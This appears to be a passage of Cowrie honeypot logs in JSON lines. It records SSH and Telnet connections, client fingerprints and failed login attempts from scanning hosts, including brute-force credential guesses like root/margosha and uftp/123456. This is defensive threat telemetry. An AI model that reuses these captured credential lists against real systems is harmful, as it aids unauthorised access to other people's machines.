{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:55.201383Z","src_ip":"37.233.85.71","session":"40518c9a9106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41942,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d60d848ba57","protocol":"telnet","message":"New connection: 152.42.224.71:41942 (10.17.0.5:23) [session: 9d60d848ba57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:55.209020Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"margosha","message":"login attempt [root/margosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:55.519875Z","src_ip":"37.233.85.71","session":"40518c9a9106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:56.628363Z","src_ip":"37.233.85.71","session":"40518c9a9106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56648,"dst_ip":"10.17.0.5","dst_port":23,"session":"034446dc24a5","protocol":"telnet","message":"New connection: 152.42.224.71:56648 (10.17.0.5:23) [session: 034446dc24a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:01.429334Z"}
{"eventid":"cowrie.session.closed","duration":120.0032365322113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:03.286725Z","src_ip":"152.42.224.71","session":"f100e92efe48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.350476026535034,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:06.509492Z","src_ip":"152.42.224.71","session":"04008963894f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60712,"dst_ip":"10.17.0.5","dst_port":23,"session":"b469b3acdedf","protocol":"telnet","message":"New connection: 152.42.224.71:60712 (10.17.0.5:23) [session: b469b3acdedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:09.426125Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":57546,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5abe03f7581","protocol":"ssh","message":"New connection: 103.77.175.15:57546 (10.17.0.5:22) [session: b5abe03f7581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:10.191458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:10.197362Z","src_ip":"103.77.175.15","session":"b5abe03f7581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:10.452542Z","src_ip":"103.77.175.15","session":"b5abe03f7581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60742,"dst_ip":"10.17.0.5","dst_port":23,"session":"09006130bf38","protocol":"telnet","message":"New connection: 152.42.224.71:60742 (10.17.0.5:23) [session: 09006130bf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:10.705936Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"787878","message":"login attempt [root/787878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:11.212203Z","src_ip":"103.77.175.15","session":"b5abe03f7581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.02623009681702,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:11.989055Z","src_ip":"152.42.224.71","session":"81ed8440222b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:12.469982Z","src_ip":"103.77.175.15","session":"b5abe03f7581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42316,"dst_ip":"10.17.0.5","dst_port":23,"session":"591e16b86c22","protocol":"telnet","message":"New connection: 152.42.224.71:42316 (10.17.0.5:23) [session: 591e16b86c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:19.374179Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":58858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2f3ed4f4ac4","protocol":"ssh","message":"New connection: 167.86.95.8:58858 (10.17.0.5:22) [session: f2f3ed4f4ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:23.578392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:23.582762Z","src_ip":"167.86.95.8","session":"f2f3ed4f4ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:23.683954Z","src_ip":"167.86.95.8","session":"f2f3ed4f4ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:24.108036Z","src_ip":"167.86.95.8","session":"f2f3ed4f4ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:25.207105Z","src_ip":"167.86.95.8","session":"f2f3ed4f4ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39800,"dst_ip":"10.17.0.5","dst_port":23,"session":"012d0a681828","protocol":"telnet","message":"New connection: 152.42.224.71:39800 (10.17.0.5:23) [session: 012d0a681828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:27.913195Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:29.815326Z","src_ip":"47.237.167.49","session":"15639c8dd5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39822,"dst_ip":"10.17.0.5","dst_port":23,"session":"05af6e35936b","protocol":"telnet","message":"New connection: 152.42.224.71:39822 (10.17.0.5:23) [session: 05af6e35936b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:31.540046Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39808,"dst_ip":"10.17.0.5","dst_port":23,"session":"239ce7a1513f","protocol":"telnet","message":"New connection: 152.42.224.71:39808 (10.17.0.5:23) [session: 239ce7a1513f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:32.428027Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39832,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a650d55bed","protocol":"telnet","message":"New connection: 152.42.224.71:39832 (10.17.0.5:23) [session: 66a650d55bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:32.739507Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53362,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba5d8a52195c","protocol":"telnet","message":"New connection: 152.42.224.71:53362 (10.17.0.5:23) [session: ba5d8a52195c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:36.079730Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53364,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc81551169a2","protocol":"telnet","message":"New connection: 152.42.224.71:53364 (10.17.0.5:23) [session: bc81551169a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:37.094552Z"}
{"eventid":"cowrie.session.closed","duration":29.096518516540527,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:38.522525Z","src_ip":"152.42.224.71","session":"b469b3acdedf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.11583757400513,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.324766Z","src_ip":"152.42.224.71","session":"9d60d848ba57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":27798,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bcb7ae31ba0","protocol":"ssh","message":"New connection: 38.93.206.2:27798 (10.17.0.5:22) [session: 0bcb7ae31ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.504454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.509473Z","src_ip":"38.93.206.2","session":"0bcb7ae31ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.564563Z","src_ip":"38.93.206.2","session":"0bcb7ae31ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":34886,"dst_ip":"159.203.135.109","dst_port":22,"session":"48442c9657ec","protocol":"ssh","message":"New connection: 80.66.85.226:34886 (159.203.135.109:22) [session: 48442c9657ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.612127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.616349Z","src_ip":"80.66.85.226","session":"48442c9657ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.709426Z","src_ip":"80.66.85.226","session":"48442c9657ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"richard","message":"login attempt [root/richard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.728664Z","src_ip":"38.93.206.2","session":"0bcb7ae31ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4","message":"login attempt [root/z1x2c3v4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:43.999391Z","src_ip":"80.66.85.226","session":"48442c9657ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":47028,"dst_ip":"10.17.0.5","dst_port":22,"session":"db97d79b5b0d","protocol":"ssh","message":"New connection: 43.173.85.181:47028 (10.17.0.5:22) [session: db97d79b5b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:44.305017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:44.309073Z","src_ip":"43.173.85.181","session":"db97d79b5b0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:44.376885Z","src_ip":"43.173.85.181","session":"db97d79b5b0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:44.683621Z","src_ip":"43.173.85.181","session":"db97d79b5b0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:44.782131Z","src_ip":"38.93.206.2","session":"0bcb7ae31ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:45.095782Z","src_ip":"80.66.85.226","session":"48442c9657ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:45.754623Z","src_ip":"43.173.85.181","session":"db97d79b5b0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.193261623382568,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:46.621165Z","src_ip":"152.42.224.71","session":"239ce7a1513f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34738,"dst_ip":"10.17.0.5","dst_port":23,"session":"caac6066c97f","protocol":"telnet","message":"New connection: 152.42.224.71:34738 (10.17.0.5:23) [session: caac6066c97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:48.884720Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":33040,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a33f419eb6","protocol":"ssh","message":"New connection: 103.27.238.120:33040 (10.17.0.5:22) [session: 79a33f419eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:49.554140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:49.558261Z","src_ip":"103.27.238.120","session":"79a33f419eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.